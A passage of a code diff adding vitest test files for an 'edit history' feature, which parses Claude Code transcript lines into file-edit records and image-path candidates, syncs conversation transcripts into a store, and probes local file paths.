|
||||
expect(res?.files[0]).toMatchObject({ startOffset: 5, chunk: Buffer.from('567') });
|
||||
});
|
||||
});
|
||||
|
||||
describe('probeLocalPaths', () => {
|
||||
it('reports size and mtime of files, expands ~/ against home, null for missing and directories', async () => {
|
||||
put('home/img.png', 'PNG!', 1_700_000_000);
|
||||
mkdirSync(join(root, 'dir'));
|
||||
const res = await probeLocalPaths(['~/img.png', join(root, 'dir'), join(root, 'nope.png')], join(root, 'home'));
|
||||
expect(res[0]).toEqual({ realPath: join(root, 'home/img.png'), kind: 'file', size: 4, mtimeMs: 1_700_000_000_000 });
|
||||
expect(res[1]).toBeNull();
|
||||
expect(res[2]).toBeNull();
|
||||
});
|
||||
|
||||
it('touches a path only after the bounded probe saw a file there', async () => {
|
||||
put('a.png', 'PNG!', 1_700_000_000);
|
||||
put('b.png', 'PNG!', 1_700_000_000);
|
||||
const asked: string[] = [];
|
||||
const res = await probeLocalPaths([join(root, 'a.png'), join(root, 'b.png'), 'rel.png'], root, async (p) => {
|
||||
asked.push(p);
|
||||
return p.endsWith('a.png') ? 'unknown' : 'file';
|
||||
});
|
||||
// a.png exists, but its filesystem did not answer the bounded probe: no unbounded stat.
|
||||
expect(res.map((r) => r?.realPath ?? null)).toEqual([null, join(root, 'b.png'), null]);
|
||||
expect(asked).toEqual([join(root, 'a.png'), join(root, 'b.png')]); // relative: never probed
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,420 @@
|
||||
/**
|
||||
* Edit history parser: claude transcript lines → edit records and Bash image candidates.
|
||||
* Fixture lines mirror real transcript records (Claude Code 2.1.300), trimmed to the
|
||||
* fields the parser reads plus the bulky ones it must ignore (`originalFile`, `content`).
|
||||
*/
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
classifyEditPath,
|
||||
extractImagePathCandidates,
|
||||
MAX_HUNK_BYTES,
|
||||
MAX_IMAGE_CANDIDATES,
|
||||
MAX_PENDING_BASH,
|
||||
MAX_PENDING_COMMAND_CHARS,
|
||||
MAX_PENDING_FIELD_CHARS,
|
||||
parseClaudeEditLines,
|
||||
} from '../src/edit-history-parse.js';
|
||||
|
||||
const CWD = '/work/repo';
|
||||
|
||||
function toolResultLine(id: string, ts: string, toolUseResult: unknown, extra: Record<string, unknown> = {}): string {
|
||||
return JSON.stringify({
|
||||
type: 'user',
|
||||
isSidechain: false,
|
||||
timestamp: ts,
|
||||
cwd: CWD,
|
||||
message: { role: 'user', content: [{ tool_use_id: id, type: 'tool_result', content: 'ok' }] },
|
||||
toolUseResult,
|
||||
...extra,
|
||||
});
|
||||
}
|
||||
|
||||
function bashUseLine(id: string, ts: string, command: string, extra: Record<string, unknown> = {}): string {
|
||||
return JSON.stringify({
|
||||
type: 'assistant',
|
||||
isSidechain: false,
|
||||
timestamp: ts,
|
||||
cwd: CWD,
|
||||
message: { role: 'assistant', content: [{ type: 'tool_use', id, name: 'Bash', input: { command } }] },
|
||||
...extra,
|
||||
});
|
||||
}
|
||||
|
||||
const hunk = (lines: string[]) => ({ oldStart: 3, oldLines: 2, newStart: 3, newLines: 3, lines });
|
||||
|
||||
const editLine = toolResultLine('toolu_edit', '2026-10-15T19:01:28.880Z', {
|
||||
filePath: '/work/repo/src/app.ts',
|
||||
oldString: 'a',
|
||||
newString: 'b',
|
||||
originalFile: 'x'.repeat(5000),
|
||||
structuredPatch: [hunk([' keep', '-old', '+new', '+added'])],
|
||||
userModified: false,
|
||||
replaceAll: false,
|
||||
});
|
||||
|
||||
describe('parseClaudeEditLines: edits', () => {
|
||||
it('turns an Edit result into a record without the whole-file fields', () => {
|
||||
const { records } = parseClaudeEditLines(editLine + '\n');
|
||||
expect(records).toEqual([
|
||||
{
|
||||
id: 'toolu_edit',
|
||||
ts: Date.parse('2026-10-15T19:01:28.880Z'),
|
||||
path: '/work/repo/src/app.ts',
|
||||
kind: 'code',
|
||||
tool: 'Edit',
|
||||
created: false,
|
||||
added: 2,
|
||||
removed: 1,
|
||||
hunks: [hunk([' keep', '-old', '+new', '+added'])],
|
||||
truncated: false,
|
||||
},
|
||||
]);
|
||||
expect(JSON.stringify(records)).not.toContain('xxxxx');
|
||||
});
|
||||
|
||||
it('reads replaceAll edits like any other Edit', () => {
|
||||
const line = toolResultLine('toolu_all', '2026-10-15T19:02:00.000Z', {
|
||||
filePath: '/work/repo/a.ts',
|
||||
oldString: 'x',
|
||||
newString: 'y',
|
||||
originalFile: '',
|
||||
structuredPatch: [hunk(['-x', '+y']), { ...hunk(['-x', '+y']), oldStart: 9, newStart: 9 }],
|
||||
userModified: false,
|
||||
replaceAll: true,
|
||||
});
|
||||
const [rec] = parseClaudeEditLines(line).records;
|
||||
expect(rec).toMatchObject({ tool: 'Edit', added: 2, removed: 2 });
|
||||
expect(rec.hunks).toHaveLength(2);
|
||||
});
|
||||
|
||||
it('marks a Write that created the file, and one that replaced it', () => {
|
||||
const create = toolResultLine('toolu_c', '2026-10-15T19:03:00.000Z', {
|
||||
type: 'create',
|
||||
filePath: '/work/repo/new.md',
|
||||
content: 'hello\nworld',
|
||||
structuredPatch: [],
|
||||
originalFile: null,
|
||||
});
|
||||
const update = toolResultLine('toolu_u', '2026-10-15T19:04:00.000Z', {
|
||||
type: 'update',
|
||||
filePath: '/work/repo/new.md',
|
||||
content: 'hi',
|
||||
structuredPatch: [hunk(['-hello', '-world', '+hi'])],
|
||||
originalFile: 'hello\nworld',
|
||||
});
|
||||
const { records } = parseClaudeEditLines([create, update].join('\n'));
|
||||
expect(records.map((r) => [r.tool, r.created, r.added, r.removed])).toEqual([
|
||||
['Write', true, 2, 0],
|
||||
['Write', false, 1, 2],
|
||||
]);
|
||||
expect(records[0].hunks).toEqual([
|
||||
{ oldStart: 0, oldLines: 0, newStart: 1, newLines: 2, lines: ['+hello', '+world'] },
|
||||
]);
|
||||
});
|
||||
|
||||
it('a created file’s diff drops the trailing newline and is capped like any hunk', () => {
|
||||
const big = 'x'.repeat(1000) + '\n';
|
||||
const line = toolResultLine('toolu_big', '2026-10-15T19:03:30.000Z', {
|
||||
type: 'create',
|
||||
filePath: '/work/repo/big.txt',
|
||||
content: big.repeat(100),
|
||||
structuredPatch: [],
|
||||
originalFile: null,
|
||||
});
|
||||
const [rec] = parseClaudeEditLines(line).records;
|
||||
expect(rec.added).toBe(100);
|
||||
expect(rec.truncated).toBe(true);
|
||||
expect(rec.hunks[0].lines.length).toBeLessThan(100);
|
||||
expect(rec.hunks[0].lines.every((l) => l === '+' + 'x'.repeat(1000))).toBe(true);
|
||||
});
|
||||
|
||||
it('classifies an image written by Write as an image', () => {
|
||||
const line = toolResultLine('toolu_svg', '2026-10-15T19:05:00.000Z', {
|
||||
type: 'create',
|
||||
filePath: '/work/repo/icon.SVG',
|
||||
content: '<svg/>',
|
||||
structuredPatch: [],
|
||||
originalFile: null,
|
||||
});
|
||||
expect(parseClaudeEditLines(line).records[0].kind).toBe('image');
|
||||
});
|
||||
|
||||
it('keeps a result of an unknown edit tool that has a path and a patch', () => {
|
||||
const line = toolResultLine('toolu_nb', '2026-10-15T19:06:00.000Z', {
|
||||
filePath: '/work/repo/n.ipynb',
|
||||
structuredPatch: [hunk(['+cell'])],
|
||||
});
|
||||
expect(parseClaudeEditLines(line).records[0]).toMatchObject({ tool: 'edit', added: 1 });
|
||||
});
|
||||
|
||||
it('skips failed tool results (a string), unrelated results and lines that do not parse', () => {
|
||||
const failed = toolResultLine('toolu_err', '2026-10-15T19:07:00.000Z', 'Error: String to replace not found');
|
||||
const read = toolResultLine('toolu_read', '2026-10-15T19:07:01.000Z', { type: 'text', file: { filePath: '/x' } });
|
||||
const text = [failed, read, '{"type":"user",broken', '', 'not json'].join('\n');
|
||||
expect(parseClaudeEditLines(text).records).toEqual([]);
|
||||
});
|
||||
|
||||
it('skips a first line cut mid-record (a byte range starts inside it)', () => {
|
||||
const cut = editLine.slice(40);
|
||||
expect(parseClaudeEditLines(cut + '\n' + editLine).records).toHaveLength(1);
|
||||
});
|
||||
|
||||
it('carries the subagent id of a sidechain line', () => {
|
||||
const line = toolResultLine('toolu_sub', '2026-10-15T19:08:00.000Z', JSON.parse(editLine).toolUseResult, {
|
||||
isSidechain: true,
|
||||
agentId: 'a0038561ea4d57a42',
|
||||
});
|
||||
expect(parseClaudeEditLines(line).records[0].agentId).toBe('a0038561ea4d57a42');
|
||||
});
|
||||
|
||||
it('caps an oversized patch and says so, counting lines from the whole patch', () => {
|
||||
const big = Array.from({ length: 4000 }, (_, i) => `+line ${i} ${'y'.repeat(40)}`);
|
||||
const line = toolResultLine('toolu_big', '2026-10-15T19:09:00.000Z', {
|
||||
type: 'create',
|
||||
filePath: '/work/repo/big.ts',
|
||||
content: '',
|
||||
structuredPatch: [hunk(big)],
|
||||
originalFile: null,
|
||||
});
|
||||
const [rec] = parseClaudeEditLines(line).records;
|
||||
expect(rec.truncated).toBe(true);
|
||||
expect(rec.added).toBe(4000);
|
||||
expect(JSON.stringify(rec.hunks).length).toBeLessThanOrEqual(MAX_HUNK_BYTES + 1024);
|
||||
expect(rec.hunks[0].lines.length).toBeLessThan(4000);
|
||||
});
|
||||
});
|
||||
|
||||
describe('parseClaudeEditLines: Bash image candidates', () => {
|
||||
const start = '2026-10-15T20:00:00.000Z';
|
||||
const end = '2026-10-15T20:00:05.000Z';
|
||||
|
||||
it('pairs a Bash call with its result and collects image paths from command and output', () => {
|
||||
const use = bashUseLine('toolu_b', start, 'python3 render.py --out out/frame.png');
|
||||
const res = toolResultLine('toolu_b', end, {
|
||||
stdout: 'Saved to: file:///tmp/gen/a b.png\nwrote /work/repo/out/thumb.webp.',
|
||||
stderr: '',
|
||||
interrupted: false,
|
||||
isImage: false,
|
||||
});
|
||||
const { candidates, pending } = parseClaudeEditLines([use, res].join('\n'));
|
||||
expect(pending).toEqual([]);
|
||||
expect(candidates).toEqual([
|
||||
{
|
||||
toolUseId: 'toolu_b',
|
||||
start: Date.parse(start),
|
||||
end: Date.parse(end),
|
||||
paths: ['/work/repo/out/frame.png', '/tmp/gen/a b.png', '/work/repo/out/thumb.webp'],
|
||||
},
|
||||
]);
|
||||
});
|
||||
|
||||
it('yields no candidate for a Bash call without image paths', () => {
|
||||
const use = bashUseLine('toolu_n', start, 'git status');
|
||||
const res = toolResultLine('toolu_n', end, { stdout: 'clean', stderr: '', interrupted: false, isImage: false });
|
||||
expect(parseClaudeEditLines([use, res].join('\n')).candidates).toEqual([]);
|
||||
});
|
||||
|
||||
it('uses the tool_result text when the Bash call failed (toolUseResult is a string)', () => {
|
||||
const use = bashUseLine('toolu_f', start, 'make render');
|
||||
const res = JSON.stringify({
|
||||
type: 'user',
|
||||
timestamp: end,
|
||||
cwd: CWD,
|
||||
message: {
|
||||
role: 'user',
|
||||
content: [{ tool_use_id: 'toolu_f', type: 'tool_result', is_error: true, content: 'Exit 2\nwrote out/x.jpg' }],
|
||||
},
|
||||
toolUseResult: 'Error: Exit 2',
|
||||
});
|
||||
expect(parseClaudeEditLines([use, res].join('\n')).candidates[0].paths).toEqual(['/work/repo/out/x.jpg']);
|
||||
});
|
||||
|
||||
it('hands an unanswered Bash call back as pending and resolves it in the next chunk', () => {
|
||||
const first = parseClaudeEditLines(bashUseLine('toolu_p', start, 'convert a.svg out.png') + '\n');
|
||||
expect(first.candidates).toEqual([]);
|
||||
expect(first.pending).toEqual([
|
||||
{ id: 'toolu_p', ts: Date.parse(start), command: 'convert a.svg out.png', cwd: CWD },
|
||||
]);
|
||||
const res = toolResultLine('toolu_p', end, { stdout: '', stderr: '', interrupted: false, isImage: false });
|
||||
const second = parseClaudeEditLines(res, first.pending);
|
||||
expect(second.pending).toEqual([]);
|
||||
expect(second.candidates[0].paths).toEqual(['/work/repo/a.svg', '/work/repo/out.png']);
|
||||
});
|
||||
|
||||
it('carries the subagent id onto the candidate', () => {
|
||||
const use = bashUseLine('toolu_s', start, 'render > shot.png', { isSidechain: true, agentId: 'abc' });
|
||||
const res = toolResultLine('toolu_s', end, { stdout: '', stderr: '', interrupted: false, isImage: false });
|
||||
expect(parseClaudeEditLines([use, res].join('\n')).candidates[0].agentId).toBe('abc');
|
||||
});
|
||||
|
||||
it('bounds the pending list, dropping the oldest', () => {
|
||||
const lines = Array.from({ length: MAX_PENDING_BASH + 5 }, (_, i) =>
|
||||
bashUseLine(`toolu_${i}`, start, 'sleep 1')
|
||||
).join('\n');
|
||||
const { pending } = parseClaudeEditLines(lines);
|
||||
expect(pending).toHaveLength(MAX_PENDING_BASH);
|
||||
expect(pending[0].id).toBe('toolu_5');
|
||||
});
|
||||
|
||||
it(`keeps no call with an id, cwd or agent id over ${MAX_PENDING_FIELD_CHARS} characters (the store would refuse it on load)`, () => {
|
||||
const long = 'x'.repeat(MAX_PENDING_FIELD_CHARS + 1);
|
||||
const lines = [
|
||||
bashUseLine(long, start, 'render > a.png'),
|
||||
bashUseLine('toolu_cwd', start, 'render > a.png', { cwd: '/' + long }),
|
||||
bashUseLine('toolu_agent', start, 'render > a.png', { agentId: long }),
|
||||
bashUseLine('toolu_ok', start, 'render > a.png', { cwd: '/' + 'x'.repeat(MAX_PENDING_FIELD_CHARS - 1) }),
|
||||
];
|
||||
expect(parseClaudeEditLines(lines.join('\n')).pending.map((p) => p.id)).toEqual(['toolu_ok']);
|
||||
});
|
||||
|
||||
it('keeps only the head of a long command (the pending list is persisted)', () => {
|
||||
const command = 'render > out.png && ' + 'x'.repeat(MAX_PENDING_COMMAND_CHARS * 2);
|
||||
const { pending } = parseClaudeEditLines(bashUseLine('toolu_long', start, command));
|
||||
expect(pending[0].command).toBe(command.slice(0, MAX_PENDING_COMMAND_CHARS));
|
||||
});
|
||||
});
|
||||
|
||||
describe('parseClaudeEditLines: images sent to the user', () => {
|
||||
it('takes the image attachments of a SendUserFile result, absolute paths only, without a window', () => {
|
||||
const line = toolResultLine(
|
||||
'toolu_send',
|
||||
'2026-10-15T20:50:12.538Z',
|
||||
{
|
||||
caption: 'Vier Alternativen',
|
||||
attachments: [
|
||||
{ path: '/tmp/s/icons/bremse_alt1_pedal.png', file_uuid: 'x' },
|
||||
{ path: '/tmp/s/icons/bremse_alt1_pedal.png' },
|
||||
{ path: '/tmp/s/report.pdf' },
|
||||
{ path: 'relative.png' },
|
||||
{ nope: 1 },
|
||||
],
|
||||
},
|
||||
{ agentId: 'a1' }
|
||||
);
|
||||
const { candidates, records } = parseClaudeEditLines(line);
|
||||
expect(records).toEqual([]);
|
||||
const at = Date.parse('2026-10-15T20:50:12.538Z');
|
||||
expect(candidates).toEqual([
|
||||
{
|
||||
toolUseId: 'toolu_send',
|
||||
start: at,
|
||||
end: at,
|
||||
paths: ['/tmp/s/icons/bremse_alt1_pedal.png'],
|
||||
sent: true,
|
||||
agentId: 'a1',
|
||||
},
|
||||
]);
|
||||
});
|
||||
});
|
||||
|
||||
describe('extractImagePathCandidates', () => {
|
||||
it('keeps a colon inside a file:// path (timestamped names)', () => {
|
||||
expect(extractImagePathCandidates('', 'Saved to file:///tmp/plot-12:30.png', '', CWD)).toEqual([
|
||||
'/tmp/plot-12:30.png',
|
||||
]);
|
||||
});
|
||||
|
||||
it('resolves relative paths against cwd and keeps ~/ paths literal', () => {
|
||||
expect(extractImagePathCandidates('cp a.png ../b.jpeg ~/shots/c.gif', '', '', CWD)).toEqual([
|
||||
'/work/repo/a.png',
|
||||
'/work/b.jpeg',
|
||||
'~/shots/c.gif',
|
||||
]);
|
||||
});
|
||||
|
||||
it('reads quoted paths with spaces', () => {
|
||||
expect(extractImagePathCandidates(`magick "in dir/x.png" 'out dir/y.avif'`, '', '', CWD)).toEqual([
|
||||
'/work/repo/in dir/x.png',
|
||||
'/work/repo/out dir/y.avif',
|
||||
]);
|
||||
});
|
||||
|
||||
it('ignores URLs, globs and names that only contain an image extension', () => {
|
||||
const cmd = 'curl https://x.org/a.png; ls *.png out/frame-?.png; mv a.png.bak b.pngx; echo c.png';
|
||||
expect(extractImagePathCandidates(cmd, '', '', CWD)).toEqual(['/work/repo/c.png']);
|
||||
});
|
||||
|
||||
it('splits key=value and trailing punctuation off', () => {
|
||||
expect(extractImagePathCandidates('render --out=out/a.png', 'done (out/b.png), see out/c.png.', '', CWD)).toEqual([
|
||||
'/work/repo/out/a.png',
|
||||
'/work/repo/out/b.png',
|
||||
'/work/repo/out/c.png',
|
||||
]);
|
||||
});
|
||||
|
||||
it('deduplicates and caps the list', () => {
|
||||
const many = Array.from({ length: MAX_IMAGE_CANDIDATES + 10 }, (_, i) => `f${i}.png`).join(' ');
|
||||
const out = extractImagePathCandidates(`a.png a.png ${many}`, '', '', CWD);
|
||||
expect(out).toHaveLength(MAX_IMAGE_CANDIDATES);
|
||||
expect(out[0]).toBe('/work/repo/a.png');
|
||||
expect(out[1]).toBe('/work/repo/f0.png');
|
||||
});
|
||||
|
||||
it('drops relative paths when cwd is unknown', () => {
|
||||
expect(extractImagePathCandidates('x.png /abs/y.png', '', '', '')).toEqual(['/abs/y.png']);
|
||||
});
|
||||
});
|
||||
|
||||
describe('extractImagePathCandidates: linear in the line length (#693 review)', () => {
|
||||
// Claude Code keeps up to 30,000 characters of Bash output, all of it agent-printed, and the
|
||||
// scan runs synchronously in the request. Before the fix one such line took ~2.7 s.
|
||||
const N = 30_000;
|
||||
// Generous: the gated suite runs at nice 19 next to the live service. Linear is ~1 ms.
|
||||
const BUDGET_MS = 1000;
|
||||
const timed = (text: string) => {
|
||||
const t = performance.now();
|
||||
const out = extractImagePathCandidates('render', text, '', CWD);
|
||||
return { out, ms: performance.now() - t };
|
||||
};
|
||||
const base64 = Buffer.from(Array.from({ length: (N * 3) / 4 }, (_, i) => (i * 131 + 7) & 255)).toString('base64');
|
||||
|
||||
it.each([
|
||||
...'#+%@![{^:/a.~-$'.split('').map((c) => [`30,000 × ${c}`, c.repeat(N)] as const),
|
||||
['a base64 blob', base64] as const,
|
||||
['repeated file:///', 'file:///'.repeat(N / 8)] as const,
|
||||
['repeated file:///x', 'file:///x'.repeat(N / 9)] as const,
|
||||
['repeated file:///a:', 'file:///a:'.repeat(N / 10)] as const,
|
||||
['file:/// then 30,000 characters', 'file:///' + 'a'.repeat(N)] as const,
|
||||
['an unclosed quote', '"' + 'a'.repeat(N)] as const,
|
||||
['repeated =a', '=a'.repeat(N / 2)] as const,
|
||||
])('%s stays under the time budget and still finds a path after it', (_label, line) => {
|
||||
const { out, ms } = timed(`${line}\nsaved out/plot.png`);
|
||||
expect(ms).toBeLessThan(BUDGET_MS);
|
||||
expect(out).toContain('/work/repo/out/plot.png');
|
||||
});
|
||||
|
||||
it('parses a chunk of 139 Bash results with a 30,000-character base64 blob each under budget', () => {
|
||||
const lines: string[] = [];
|
||||
for (let i = 0; i < 139; i++) {
|
||||
lines.push(bashUseLine(`toolu_${i}`, '2026-10-15T20:00:00.000Z', 'cat img.b64'));
|
||||
lines.push(
|
||||
toolResultLine(`toolu_${i}`, '2026-10-15T20:00:01.000Z', {
|
||||
stdout: base64,
|
||||
stderr: '',
|
||||
interrupted: false,
|
||||
isImage: false,
|
||||
})
|
||||
);
|
||||
}
|
||||
const t = performance.now();
|
||||
parseClaudeEditLines(lines.join('\n'));
|
||||
expect(performance.now() - t).toBeLessThan(3000); // 6.6 s before the fix
|
||||
});
|
||||
});
|
||||
|
||||
describe('classifyEditPath', () => {
|
||||
it.each([
|
||||
['/a/b.png', 'image'],
|
||||
['/a/b.JPG', 'image'],
|
||||
['/a/b.jpeg', 'image'],
|
||||
['/a/b.webp', 'image'],
|
||||
['/a/b.gif', 'image'],
|
||||
['/a/b.avif', 'image'],
|
||||
['/a/b.svg', 'image'],
|
||||
['/a/b.ts', 'code'],
|
||||
['/a/png', 'code'],
|
||||
['/a/b.png.orig', 'code'],
|
||||
])('%s → %s', (path, kind) => {
|
||||
expect(classifyEditPath(path)).toBe(kind);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,214 @@
|
||||
/**
|
||||
* Edit history end to end: the real reader (edit-history-local-source.ts), sync and store on
|
||||
* temp transcripts: what the fakes in edit-history-sync.test.ts cannot show (file order,
|
||||
* a new conversation next to the old one, every line read exactly once).
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it } from 'vitest';
|
||||
import { appendFileSync, existsSync, mkdirSync, mkdtempSync, rmSync } from 'node:fs';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
import { readClaudeEditSources } from '../src/edit-history-local-source.js';
|
||||
import { EditHistoryStore } from '../src/edit-history-store.js';
|
||||
import { EditHistorySync, MAX_FORWARD_PASSES, type EditHistorySession } from '../src/web/edit-history-sync.js';
|
||||
|
||||
let root: string;
|
||||
const opened: EditHistoryStore[] = [];
|
||||
beforeEach(() => {
|
||||
root = mkdtempSync(join(tmpdir(), 'edit-pipeline-'));
|
||||
});
|
||||
afterEach(async () => {
|
||||
await Promise.all(opened.splice(0).map((s) => s.remove()));
|
||||
rmSync(root, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
const T0 = Date.parse('2026-10-15T20:00:00.000Z');
|
||||
|
||||
/** One edit result line of `pad` bytes or more, newline included. */
|
||||
function editLine(id: string, i: number, pad = 0, agentId?: string): string {
|
||||
const rec: Record<string, unknown> = {
|
||||
type: 'user',
|
||||
timestamp: new Date(T0 + i * 1000).toISOString(),
|
||||
cwd: '/w',
|
||||
message: { role: 'user', content: [{ tool_use_id: id, type: 'tool_result', content: 'ok' }] },
|
||||
toolUseResult: {
|
||||
filePath: `/w/${id}.ts`,
|
||||
oldString: 'a',
|
||||
newString: 'b',
|
||||
structuredPatch: [{ oldStart: 1, oldLines: 1, newStart: 1, newLines: 1, lines: ['-a', '+b'] }],
|
||||
},
|
||||
pad: '',
|
||||
};
|
||||
if (agentId) rec.agentId = agentId;
|
||||
rec.pad = 'p'.repeat(Math.max(0, pad - JSON.stringify(rec).length - 1));
|
||||
return JSON.stringify(rec) + '\n';
|
||||
}
|
||||
|
||||
function setup(budget?: number, base = root) {
|
||||
const project = join(base, 'projects', 'p');
|
||||
mkdirSync(project, { recursive: true });
|
||||
const at = (transcriptId: string) => join(project, `${transcriptId}.jsonl`);
|
||||
/** The transcript watcher's path (the hooks report it; `/clear` moves it). */
|
||||
let current = at('convA');
|
||||
const sync = new EditHistorySync({
|
||||
transcriptPath: async () => (existsSync(current) ? current : null),
|
||||
readSources: (_session, path, requests, budget, opts) => readClaudeEditSources(path, requests, budget, opts),
|
||||
probe: async (_session, paths) => paths.map(() => null),
|
||||
loadStore: async (id) => {
|
||||
const store = await EditHistoryStore.load(id, { dir: join(base, 'store'), debounceMs: 10 });
|
||||
opened.push(store);
|
||||
return store;
|
||||
},
|
||||
deleteStore: (id) => EditHistoryStore.delete(id, { dir: join(base, 'store') }),
|
||||
sweepStores: async () => 0,
|
||||
budget,
|
||||
});
|
||||
const session: EditHistorySession = { id: 's1', mode: 'claude', remote: undefined, claudeSessionId: 'convA' };
|
||||
const ids = async () =>
|
||||
(await sync.getStore('s1'))
|
||||
.list()
|
||||
.map((e) => e.id)
|
||||
.sort();
|
||||
return {
|
||||
project,
|
||||
at,
|
||||
sync,
|
||||
session,
|
||||
ids,
|
||||
switchTo: (transcriptId: string) => (current = at(transcriptId)),
|
||||
};
|
||||
}
|
||||
|
||||
describe('a new conversation (/clear, resume)', () => {
|
||||
it('reads the previous transcript to its end before the new one', async () => {
|
||||
const { at, sync, session, ids, switchTo } = setup();
|
||||
appendFileSync(at('convA'), editLine('a1', 1));
|
||||
await sync.sync(session);
|
||||
// The turn's last edits land, then /clear before the panel's debounced re-read.
|
||||
appendFileSync(at('convA'), editLine('a2', 2) + editLine('a3', 3));
|
||||
switchTo('convB');
|
||||
appendFileSync(at('convB'), editLine('b1', 4));
|
||||
await sync.sync(session);
|
||||
expect(await ids()).toEqual(['a1', 'a2', 'a3', 'b1']);
|
||||
const store = await sync.getStore('s1');
|
||||
expect(store.getTranscriptId()).toBe('convB');
|
||||
expect(store.knownSources()).toEqual(['main']);
|
||||
});
|
||||
|
||||
it('a previous backlog larger than one sync reads on with the next ones; the new transcript follows', async () => {
|
||||
const { at, sync, session, ids, switchTo } = setup(600);
|
||||
appendFileSync(at('convA'), editLine('a0', 0));
|
||||
await sync.sync(session);
|
||||
const backlog = Array.from({ length: MAX_FORWARD_PASSES * 3 }, (_, i) => `a${i + 1}`);
|
||||
appendFileSync(at('convA'), backlog.map((id, i) => editLine(id, i + 1, 500)).join(''));
|
||||
switchTo('convB');
|
||||
appendFileSync(at('convB'), editLine('b1', 99));
|
||||
await sync.sync(session);
|
||||
expect(await ids()).not.toContain('b1');
|
||||
for (let i = 0; i < 5; i++) await sync.sync(session);
|
||||
expect(await ids()).toEqual(['a0', ...backlog, 'b1'].sort());
|
||||
});
|
||||
|
||||
it('subagents of the previous conversation are read to their end too', async () => {
|
||||
const { project, at, sync, session, ids, switchTo } = setup();
|
||||
const sub = join(project, 'convA', 'subagents');
|
||||
mkdirSync(sub, { recursive: true });
|
||||
appendFileSync(at('convA'), editLine('a1', 1));
|
||||
appendFileSync(join(sub, 'agent-x.jsonl'), editLine('x1', 2, 0, 'x'));
|
||||
await sync.sync(session);
|
||||
appendFileSync(join(sub, 'agent-x.jsonl'), editLine('x2', 3, 0, 'x'));
|
||||
switchTo('convB');
|
||||
appendFileSync(at('convB'), editLine('b1', 4));
|
||||
await sync.sync(session);
|
||||
expect(await ids()).toEqual(['a1', 'b1', 'x1', 'x2']);
|
||||
});
|
||||
|
||||
it('a previous transcript that is gone does not hold up the new one', async () => {
|
||||
const { at, sync, session, ids, switchTo } = setup();
|
||||
appendFileSync(at('convA'), editLine('a1', 1));
|
||||
await sync.sync(session);
|
||||
rmSync(at('convA'));
|
||||
switchTo('convB');
|
||||
appendFileSync(at('convB'), editLine('b1', 2));
|
||||
await sync.sync(session);
|
||||
expect(await ids()).toEqual(['a1', 'b1']);
|
||||
});
|
||||
|
||||
it('"Load older" before the forward read moved on reads the stored conversation, not the new file', async () => {
|
||||
const { at, sync, session, ids, switchTo } = setup(600);
|
||||
const older = Array.from({ length: 4 }, (_, i) => `a${i}`);
|
||||
appendFileSync(at('convA'), older.map((id, i) => editLine(id, i, 500)).join(''));
|
||||
await sync.sync(session);
|
||||
expect(await ids()).toEqual(['a3']);
|
||||
switchTo('convB');
|
||||
appendFileSync(at('convB'), editLine('b1', 99));
|
||||
await sync.sync(session, { older: true });
|
||||
expect(await ids()).toEqual(['a2', 'a3']);
|
||||
});
|
||||
});
|
||||
|
||||
describe('every line exactly once (seeded random transcripts)', () => {
|
||||
/** Deterministic: a seed fixes budget, line lengths, subagents, partial writes and sync points. */
|
||||
async function run(seed: number): Promise<string | null> {
|
||||
let state = seed;
|
||||
const rnd = () => {
|
||||
state = (state * 1103515245 + 12345) & 0x7fffffff;
|
||||
return state / 0x7fffffff;
|
||||
};
|
||||
const ri = (a: number, b: number) => a + Math.floor(rnd() * (b - a + 1));
|
||||
const budget = ri(400, 1500);
|
||||
const { project, at, sync, session } = setup(budget, mkdtempSync(join(root, 'run-')));
|
||||
const main = at('convA');
|
||||
const subDir = join(project, 'convA', 'subagents');
|
||||
const expected = new Set<string>();
|
||||
const tooLong = new Set<string>();
|
||||
const agents: string[] = [];
|
||||
const tails = new Map<string, string>();
|
||||
let n = 0;
|
||||
const write = () => {
|
||||
if (rnd() < 0.15 && agents.length < 6) {
|
||||
mkdirSync(subDir, { recursive: true });
|
||||
agents.push(`a${agents.length}`);
|
||||
}
|
||||
const k = ri(0, agents.length);
|
||||
const agent = k === 0 ? undefined : agents[k - 1];
|
||||
const file = agent ? join(subDir, `agent-${agent}.jsonl`) : main;
|
||||
const id = `e${n++}`;
|
||||
// Some lines are longer than the budget: skipped, never shown, never blocking.
|
||||
const line = editLine(id, n, rnd() < 0.12 ? ri(budget + 2, budget * 3) : ri(250, budget - 2), agent);
|
||||
if (Buffer.byteLength(line) < budget) expected.add(id);
|
||||
else if (Buffer.byteLength(line) > budget) tooLong.add(id);
|
||||
// Sometimes half a line: claude is still writing it.
|
||||
const cut = rnd() < 0.15 ? ri(1, line.length - 1) : line.length;
|
||||
appendFileSync(file, (tails.get(file) ?? '') + line.slice(0, cut));
|
||||
if (cut < line.length) tails.set(file, line.slice(cut));
|
||||
else tails.delete(file);
|
||||
};
|
||||
for (let i = ri(0, 20); i > 0; i--) write(); // backlog before the panel opens
|
||||
if (!existsSync(main)) appendFileSync(main, '');
|
||||
for (let r = ri(5, 25); r > 0; r--) {
|
||||
for (let i = ri(0, 6); i > 0; i--) write();
|
||||
await sync.sync(session);
|
||||
}
|
||||
for (const [file, rest] of tails) appendFileSync(file, rest);
|
||||
for (let i = 0; i < 40; i++) await sync.sync(session);
|
||||
const store = await sync.getStore('s1');
|
||||
for (let clicks = 0; store.backfillTruncated && clicks < 400; clicks++) await sync.sync(session, { older: true });
|
||||
const got = new Set(store.list().map((e) => e.id));
|
||||
const missing = [...expected].filter((id) => !got.has(id));
|
||||
const extra = [...got].filter((id) => tooLong.has(id));
|
||||
if (missing.length || extra.length || store.backfillTruncated) {
|
||||
return `seed ${seed} (budget ${budget}): missing ${missing.join(',')} extra ${extra.join(',')}`;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
it('reads every line shorter than the budget once, forward and back, and none longer', async () => {
|
||||
const failures: string[] = [];
|
||||
for (let seed = 1; seed <= 40; seed++) {
|
||||
await Promise.all(opened.splice(0).map((s) => s.remove()));
|
||||
const r = await run(seed);
|
||||
if (r) failures.push(r);
|
||||
}
|
||||
expect(failures).toEqual([]);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,106 @@
|
||||
/**
|
||||
* Edit history image probe against a filesystem that stopped answering (#693 review): a Bash
|
||||
